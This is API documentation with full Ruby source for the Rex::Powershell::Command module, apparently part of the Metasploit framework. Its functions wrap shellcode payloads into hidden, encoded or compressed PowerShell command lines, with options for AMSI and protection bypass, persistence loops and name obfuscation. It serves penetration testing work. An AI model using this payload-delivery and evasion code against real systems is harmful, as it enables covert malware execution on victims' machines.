Module: Rex::Powershell::Command

Defined in:
lib/rex/powershell/command.rb

Class Method Summary collapse

Class Method Details

.cmd_psh_payload(pay, payload_arch, template_path, opts = {}) ⇒ String

Creates a powershell command line string which will execute the payload in a hidden window in the appropriate execution environment for the payload architecture. Opts are passed through to run_hidden_psh, generate_psh_command_line and generate_psh_args

Parameters:

  • pay (String) —

    The payload shellcode

  • payload_arch (String) —

    The payload architecture 'x86'/'x86_64'

  • opts (Hash) (defaults to: {}) —

    The options to generate the command

Options Hash (opts):

  • :persist (Boolean) —

    Loop the payload to cause re-execution if the shellcode finishes

  • :prepend (String) —

    A stub of Powershell code to prepend to the payload.

  • :prepend_inner (String) —

    A stub of Powershell code to prepend to the inner payload.

  • :prepend_protections_bypass (Boolean) —

    Prepend a stub that bypasses Powershell protections.

  • :prepend_sleep (Integer) —

    Sleep for the specified time before executing the payload

  • :method (String) —

    The powershell injection technique to use: 'net'/'reflection'/'old'

  • :encode_inner_payload (Boolean) —

    Encodes the powershell script within the hidden/architecture detection wrapper

  • :encode_final_payload (Boolean) —

    Encodes the final powershell script

  • :remove_comspec (Boolean) —

    Removes the %COMSPEC% environment variable at the start of the command line

  • :wrap_double_quotes (Boolean) —

    Wraps the -Command argument in double quotes unless :encode_final_payload

  • :exec_in_place (TrueClass, FalseClass) —

    Removes the executable wrappers from the powershell code returning raw PSH for executing with an existing PSH context

Returns:

  • (String) —

    Powershell command line with payload



294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
 
# File 'lib/rex/powershell/command.rb', line 294

def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
  if opts[:encode_inner_payload] && opts[:encode_final_payload]
    fail Exceptions::PowershellError, ':encode_inner_payload and :encode_final_payload are incompatible options'
  end

  if opts[:no_equals] && !opts[:encode_final_payload]
    fail Exceptions::PowershellError, ':no_equals requires :encode_final_payload option to be used'
  end

  psh_payload = case opts[:method]
    when 'net'
      Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
    when 'reflection'
      Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay)
    when 'old'
      Rex::Powershell::Payload.to_win32pe_psh(template_path, pay)
    when 'msil'
      Rex::Powershell::Payload.to_win32pe_psh_msil(template_path, pay)
    else
      fail Exceptions::PowershellError, 'No Powershell method specified'
  end

  if opts[:exec_rc4]
    psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
  end

  if opts[:prepend_inner]
    psh_payload = opts[:prepend_inner] << (opts[:prepend_inner].end_with?(';') ? '' : ';') << psh_payload
  end

  # Run our payload in a while loop
  if opts[:persist]
    fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
    sleep_time = rand(5) + 5
    psh_payload  = "function #{fun_name}{#{psh_payload}};"
    psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
  end

  if opts[:prepend_sleep]
    if opts[:prepend_sleep].to_i > 0
      psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
    end
  end

  compressed_payload = compress_script(psh_payload, nil, opts)
  encoded_payload = encode_script(psh_payload, opts)

  # This branch is probably never taken...
  if encoded_payload.length <= compressed_payload.length
    smallest_payload = encoded_payload
    encoded = true
  else
    if opts[:encode_inner_payload]
      encoded = true
      compressed_encoded_payload = encode_script(compressed_payload)

      if encoded_payload.length <= compressed_encoded_payload.length
        smallest_payload = encoded_payload
      else
        smallest_payload = compressed_encoded_payload
      end
    else
      smallest_payload = compressed_payload
      encoded = false
    end
  end

  if opts[:prepend_protections_bypass]
    bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
    smallest_payload = bypass_amsi + ";" + smallest_payload
  end

  if opts[:prepend]
    smallest_payload = opts[:prepend] << (opts[:prepend].end_with?(';') ? '' : ';') << smallest_payload
  end

  if opts[:exec_in_place]
    final_payload = smallest_payload
  else
    # Wrap in hidden runtime / architecture detection
    inner_args = opts.clone
    inner_args[:wrap_double_quotes] = true
    final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args)
  end

  command_args = {
    noprofile: true,
    windowstyle: 'hidden'
  }.merge(opts)

  if opts[:encode_final_payload]
    command_args[:encodedcommand] = encode_script(final_payload)
    # If '=' is a bad character pad the payload until Base64 encoded
    # payload contains none.
    if opts[:no_equals]
      while command_args[:encodedcommand].include? '='
        final_payload << ' '
        command_args[:encodedcommand] = encode_script(final_payload)
      end
    end
  else
    command_args[:command] = final_payload
  end
  psh_command =  generate_psh_command_line(command_args)

  if opts[:exec_in_place] and (not opts[:encode_final_payload] and not opts[:encode_inner_payload])
    command = final_payload
  elsif opts[:remove_comspec]
    command = psh_command
  else
    command = "%COMSPEC% /b /c start /b /min #{psh_command}"
  end

  if command.length > 8191
    fail Exceptions::PowershellCommandLengthError, 'Powershell command length is greater than the command line maximum (8192 characters)'
  end

  command
end

.compress_script(script_in, eof = nil, opts = {}) ⇒ String

Return a gzip compressed powershell script Will invoke PSH modifiers as enabled

Parameters:

  • script_in (String) —

    Script contents

  • eof (String) (defaults to: nil) —

    Marker to indicate the end of file appended to script

  • opts (Hash) (defaults to: {}) —

    The options for encoding

Options Hash (opts):

  • :strip_comments (Bool) —

    Strip comments

  • :strip_whitespace (Bool) —

    Strip whitespace

  • :sub_vars (Bool) —

    Substitute variable names

  • :sub_funcs (Bool) —

    Substitute function names

Returns:

  • (String) —

    Compressed script with decompression stub



51
52
53
54
55
56
57
58
59
 
# File 'lib/rex/powershell/command.rb', line 51

def self.compress_script(script_in, eof=nil, opts={})
  # Build script object
  psh = Rex::Powershell::Script.new(script_in)
  psh.strip_comments if opts[:strip_comments]
  psh.strip_whitespace if opts[:strip_whitespace]
  psh.sub_vars if opts[:sub_vars]
  psh.sub_funcs if opts[:sub_funcs]
  psh.compress_code(eof)
end

.decode_script(script_in) ⇒ String

Return the ASCII contents of the base64 encoded script

Parameters:

  • script_in (String) —

    Encoded script

Returns:

  • (String) —

    Decoded script



34
35
36
 
# File 'lib/rex/powershell/command.rb', line 34

def self.decode_script(script_in)
  Rex::Powershell::Script.new(script_in).decode_code
end

.decompress_script(script_in) ⇒ String

Return the ASCII contents of the GZIP/Deflate compressed script

Parameters:

  • script_in (String) —

    Compressed script

Returns:

  • (String) —

    Decompressed script



67
68
69
 
# File 'lib/rex/powershell/command.rb', line 67

def self.decompress_script(script_in)
  Rex::Powershell::Script.new(script_in).decompress_code
end

.encode_script(script_in, eof = nil, opts = {}) ⇒ String

Return an encoded powershell script Will invoke PSH modifiers as enabled

Parameters:

  • script_in (String) —

    Script contents

  • opts (Hash) (defaults to: {}) —

    The options for encoding

Options Hash (opts):

  • :strip_comments (Bool) —

    Strip comments

  • :strip_whitespace (Bool) —

    Strip whitespace

  • :sub_vars (Bool) —

    Substitute variable names

  • :sub_funcs (Bool) —

    Substitute function names

Returns:

  • (String) —

    Encoded script



18
19
20
21
22
23
24
25
26
 
# File 'lib/rex/powershell/command.rb', line 18

def self.encode_script(script_in, eof=nil, opts={})
  # Build script object
  psh = Rex::Powershell::Script.new(script_in)
  psh.strip_comments if opts[:strip_comments]
  psh.strip_whitespace if opts[:strip_whitespace]
  psh.sub_vars if opts[:sub_vars]
  psh.sub_funcs if opts[:sub_funcs]
  psh.encode_code(eof)
end

.generate_psh_args(opts) ⇒ String

Generate arguments for the powershell command The format will be have no space at the start and have a space afterwards e.g. “-Arg1 x -Arg -Arg x ”

Parameters:

  • opts (Hash) —

    The options to generate the command line

Options Hash (opts):

  • :shorten (Boolean) —

    Whether to shorten the powershell arguments (v2.0 or greater)

  • :encodedcommand (String) —

    Powershell script as an encoded command (-EncodedCommand)

  • :executionpolicy (String) —

    The execution policy (-ExecutionPolicy)

  • :inputformat (String) —

    The input format (-InputFormat)

  • :file (String) —

    The path to a powershell file (-File)

  • :noexit (Boolean) —

    Whether to exit powershell after execution (-NoExit)

  • :nologo (Boolean) —

    Whether to display the logo (-NoLogo)

  • :noninteractive (Boolean) —

    Whether to load a non interactive powershell (-NonInteractive)

  • :mta (Boolean) —

    Whether to run as Multi-Threaded Apartment (-Mta)

  • :outputformat (String) —

    The output format (-OutputFormat)

  • :sta (Boolean) —

    Whether to run as Single-Threaded Apartment (-Sta)

  • :noprofile (Boolean) —

    Whether to use the current users powershell profile (-NoProfile)

  • :windowstyle (String) —

    The window style to use (-WindowStyle)

  • :version (String) —

    The version of Powershell to run (-version)

Returns:

  • (String) —

    Powershell command arguments



130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
 
# File 'lib/rex/powershell/command.rb', line 130

def self.generate_psh_args(opts)
  return '' unless opts

  unless opts.key? :shorten
    opts[:shorten] = (opts[:method] != 'old')
  end

  arg_string = ' '
  opts.each_pair do |arg, value|
    case arg
      when :executionpolicy
        arg_string << "-ExecutionPolicy #{value} " if value
      when :inputformat
        arg_string << "-InputFormat #{value} " if value
      when :file
        arg_string << "-File #{value} " if value
      when :noexit
        arg_string << '-NoExit ' if value
      when :nologo
        arg_string << '-NoLogo ' if value
      when :noninteractive
        arg_string << '-NonInteractive ' if value
      when :mta
        arg_string << '-Mta ' if value
      when :outputformat
        arg_string << "-OutputFormat #{value} " if value
      when :sta
        arg_string << '-Sta ' if value
      when :noprofile
        arg_string << '-NoProfile ' if value
      when :windowstyle
        arg_string << "-WindowStyle #{value} " if value
      when :version
        arg_string << "-Version #{value} " if value
    end
  end

  # Command must be last (unless from stdin - etc)
  if opts[:command]
    if opts[:wrap_double_quotes]
      arg_string << "-Command \"#{opts[:command]}\""
    else
      arg_string << "-Command #{opts[:command]}"
    end
  elsif opts[:encodedcommand]
    arg_string << "-EncodedCommand #{opts[:encodedcommand]}"
  end

  # Shorten arg if PSH 2.0+
  if opts[:shorten]
    # Invoke-Command and Out-File require these options to have
    # an additional space before to prevent Powershell code being
    # mangled.
    arg_string.gsub!(' -Command ', ' -c ')
    arg_string.gsub!('-EncodedCommand ', '-e ')
    arg_string.gsub!('-ExecutionPolicy ', '-ep ')
    arg_string.gsub!(' -File ', ' -f ')
    arg_string.gsub!('-InputFormat ', '-i ')
    arg_string.gsub!('-NoExit ', '-noe ')
    arg_string.gsub!('-NoLogo ', '-nol ')
    arg_string.gsub!('-NoProfile ', '-nop ')
    arg_string.gsub!('-NonInteractive ', '-noni ')
    arg_string.gsub!('-OutputFormat ', '-o ')
    arg_string.gsub!('-Sta ', '-s ')
    arg_string.gsub!('-WindowStyle ', '-w ')
    arg_string.gsub!('-Version ', '-v ')
  end

  # Strip off first space character
  arg_string = arg_string[1..-1]
  # Remove final space character
  arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')

  arg_string
end

.generate_psh_command_line(opts) ⇒ String

Generate a powershell command line, options are passed on to generate_psh_args

Parameters:

  • opts (Hash) —

    The options to generate the command line

Options Hash (opts):

  • :path (String) —

    Path to the powershell binary

  • :no_full_stop (Boolean) —

    Whether powershell binary should include .exe

Returns:

  • (String) —

    Powershell command line with arguments



81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
 
# File 'lib/rex/powershell/command.rb', line 81

def self.generate_psh_command_line(opts)
  if opts[:path] and (opts[:path][-1, 1] != '\\')
    opts[:path] << '\\'
  end

  if opts[:no_full_stop]
    binary = 'powershell'
  else
    binary = 'powershell.exe'
  end

  args = generate_psh_args(opts)

  "#{opts[:path]}#{binary} #{args}"
end

.run_hidden_psh(ps_code, payload_arch, encoded, opts = {}) ⇒ String

Wraps the powershell code to launch a hidden window and detect the execution environment and spawn the appropriate powershell executable for the payload architecture.

Parameters:

  • ps_code (String) —

    Powershell code

  • payload_arch (String) —

    The payload architecture 'x86'/'x86_64'

  • encoded (Boolean) —

    Indicates whether ps_code is encoded or not

  • opts (Hash) (defaults to: {}) —

    The options for generate_psh_args

Returns:

  • (String) —

    Wrapped powershell code



217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
 
# File 'lib/rex/powershell/command.rb', line 217

def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
  opts[:noprofile] ||= 'true'
  opts[:windowstyle] ||= 'hidden'

  # Old method needs host process to stay open
  opts[:noexit] = true if (opts[:method] == 'old')

  if encoded
    opts[:encodedcommand] = ps_code
  else
    opts[:command] = ps_code.gsub("'", "''")
    opts[:wrap_double_quotes]  = false
  end

  process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{generate_psh_args(opts)}'
$s.UseShellExecute=$false
$s.RedirectStandardOutput=$true
$s.WindowStyle='Hidden'
$s.CreateNoWindow=$true
$p=[System.Diagnostics.Process]::Start($s)
EOS
  process_start_info.gsub!("\n", ';')

  archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS

  archictecure_detection.gsub!("\n", '')

  if opts[:no_arch_detect]
    return   "$b='powershell.exe';#{process_start_info}"
  else
    archictecure_detection + process_start_info
  end
end